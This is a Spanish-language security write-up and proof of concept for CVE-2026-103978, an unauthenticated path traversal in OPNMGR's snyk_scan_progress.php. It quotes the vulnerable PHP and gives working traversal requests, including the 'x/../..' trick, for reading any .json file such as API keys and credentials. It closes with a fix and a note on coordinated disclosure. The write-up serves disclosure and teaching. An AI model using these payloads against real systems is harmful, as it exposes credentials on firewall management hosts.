
Prueba de concepto y writeup para CVE-2026-103978, un path traversal no autenticado en snyk_scan_progress.php de OPNMGR que permite la lectura arbitraria de archivos .json.
Lectura arbitraria de archivos .json, sin necesidad de iniciar sesión. Lo encontré mientras revisaba el
código fuente de agit8or1/OPNMGR, un gestor de flotas OPNsense
escrito en PHP.
| CVE | CVE-2026-103978 |
| Aviso | GHSA-8x7v-vwpx-3wr7 |
| Clase | CWE-22 (Path Traversal) |
| Autenticación | ninguna |
| CVSS v3.1 | 7.5 Alta (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS v4.0 | 8.7 Alta |
| Corregido en | v3.10.0 |
| Crédito | Kanarat Kaeothong (Axiom0x) |
snyk_scan_progress.php se encuentra en la raíz web y toma un scan_id directamente de
la cadena de consulta, lo pega en una ruta de archivo y pasa el resultado a
file_get_contents(). No hay inclusión de autenticación, ni comprobación de sesión, ni saneamiento del
parámetro.
<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? ''; // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }
$progress_file = "/tmp/snyk_scan_{$scan_id}.json"; // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }
$progress_data = file_get_contents($progress_file);
echo $progress_data; // sent back to the caller
Todos los demás endpoints de la aplicación incluyen inc/bootstrap.php y llaman a
requireLogin() antes de hacer nada. Este se salta todo eso. Así que scan_id
está controlado por el atacante, se inserta en la ruta tal cual, y el cuerpo del archivo vuelve
en la respuesta.
Un detalle: el prefijo snyk_scan_ se pega a lo que envíes, así que un payload
que empiece por .. se consume (snyk_scan_.. es solo un nombre de archivo raro en /tmp).
Necesitas un segmento desechable primero para que el .. se convierta realmente en un salto
al directorio padre:
/tmp/snyk_scan_ + x/../../etc/passwd -> /tmp/snyk_scan_x/../../etc/passwd
-> /etc/passwd.json
El .json final está forzado por el código y no hay truco de byte nulo en
el PHP moderno, así que solo puedes leer archivos que terminen en .json. En un despliegue real de PHP
eso no es una gran limitación. Archivos de configuración, claves de cuentas de servicio, auth.json de composer,
credenciales de la nube, la mayor parte de lo jugoso ya está en .json.
GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
-> returns /var/www/opnsense/config.json
GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
-> walks to filesystem root, returns /etc/some_config.json
Hay una versión ejecutable en poc/poc.sh.
Cualquier archivo que termine en .json que www-data pueda leer, divulgado a cualquiera que pueda
alcanzar la página. En una máquina que gestiona cortafuegos OPNsense eso normalmente significa claves de API
y credenciales.
Añade la inclusión de autenticación que usa el resto de la aplicación, y valida scan_id contra una
lista de permitidos estricta antes de construir la ruta:
require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();
$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid scan id']);
exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';
El mantenedor publicó la corrección en v3.10.0.
Reportado mediante divulgación coordinada. La versión vulnerable ya no es la versión actual. El análisis está aquí como referencia y para aprendizaje.